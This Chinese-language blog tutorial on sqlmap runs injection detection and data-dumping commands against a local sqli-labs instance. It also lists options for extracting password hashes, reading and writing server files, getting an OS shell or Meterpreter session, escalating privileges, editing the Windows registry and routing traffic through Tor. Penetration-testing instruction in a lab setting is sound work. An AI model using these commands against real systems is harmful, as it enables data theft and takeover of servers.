SQLMap使用攻略

发布于 2022-03-23  332 次阅读


sqlmap简介

sqlmap是自动化SQL注入工具,利用SQL注入漏洞获取数据库服务的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
  4. 联合查询注入,可以使用union的情况下的注入
  5. 堆查询注入,可以同时执行多条语句的执行时的注入
sqlmap自动检测漏洞
sqlmap -u 127.0.0.1:8082/Less-6/?id=1 --batch

image-20220323103846708

成功测试出SQL注入漏洞

获取数据
列出数据库信息
sqlmap -u "10.5.62.41:8082/less-6/?id=1" --batch --dbs
获取数据库中的表
sqlmap -u "10.5.62.41:8082/less-6/?id=1" --batch -D 数据库名 --tables
获取表的所有列
sqlmap -u "10.5.62.41:8082/less-6/?id=1" --batch -D 数据库名 -T 表名 --columns
获取相应列的内容
sqlmap -u "10.5.62.41:8082/less-6/?id=1" --batch -D 数据库名 -T 表名 -C 列名,列名 --dump
其他数据库相关操作
web当前使用的数据库:--current-db
web数据库使用账户:--current-user
列出sqlserver所有用户:--users
数据库账户与密码:--passwords
导出多少条数据:--start 开始 --stop 结束
枚举数据库架构:--schema
枚举数据库管理系统用户的角色:--roles
其他常用参数
显示信息级别:-v 级别
“0”只显示python错误以及严重的信息
“1”同时显示基本信息和警告信息(默认)
“2”同时显示debug信息
“3”同时显示注入的payload
“4”同时显示HTTP请求
“5”同时显示HTTP响应头
“6”同时显示HTTP响应页面
目标:
-d DIRECT    直接连接数据库的连接字符串
-u URL, --url=URL   目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url 
-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标
-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标
-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443
--tamper=TAMPER   使用给定的脚本篡改注入数据
请求:
--data=DATA   通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数
--cookie=COOKIE     HTTP Cookieheader值
--tor               使用Tor匿名网络
优化:
-o               打开所有的优化开关
--predict-output    预测普通查询输出
--keep-alive        使用持久HTTP(S)连接
--null-connection   获取页面长度
--threads=THREADS   当前http(s)最大请求数 (默认 1)
检测:
--level=LEVEL     执行测试的等级(1-5,默认为1)
--risk=RISK       执行测试的风险(0-3,默认为1)

详细命令参数参考:https://xdym11235.com/archives/sqlmap.html

访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

--file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件
--file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
访问操作系统

这些选项可以用于访问后端数据库管理系统的底层操作系统

--os-cmd=OSCMD   执行操作系统命令(OSCMD)
--os-shell          交互式的操作系统的shell
--os-pwn          获取一个OOB shell,meterpreter或VNC
--os-smbrelay       一键获取一个OOBshell,meterpreter或VNC
--os-bof           存储过程缓冲区溢出利用
--priv-esc          数据库进程用户权限提升
--msf-path=MSFPATH  MetasploitFramework本地的安装路径
--tmp-path=TMPPATH  远程临时文件目录的绝对路径
Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表

--reg-read          读一个Windows注册表项值
--reg-add           写一个Windows注册表项值数据
--reg-del           删除Windows注册表键值
--reg-key=REGKEY    Windows注册表键
--reg-value=REGVAL  Windows注册表项值
--reg-data=REGDATA  Windows注册表键值数据
--reg-type=REGTYPE  Windows注册表项值类型

参考文章:https://www.freebuf.com/sectool/164608.html

Daniel_WRF
最后更新于 2023-09-22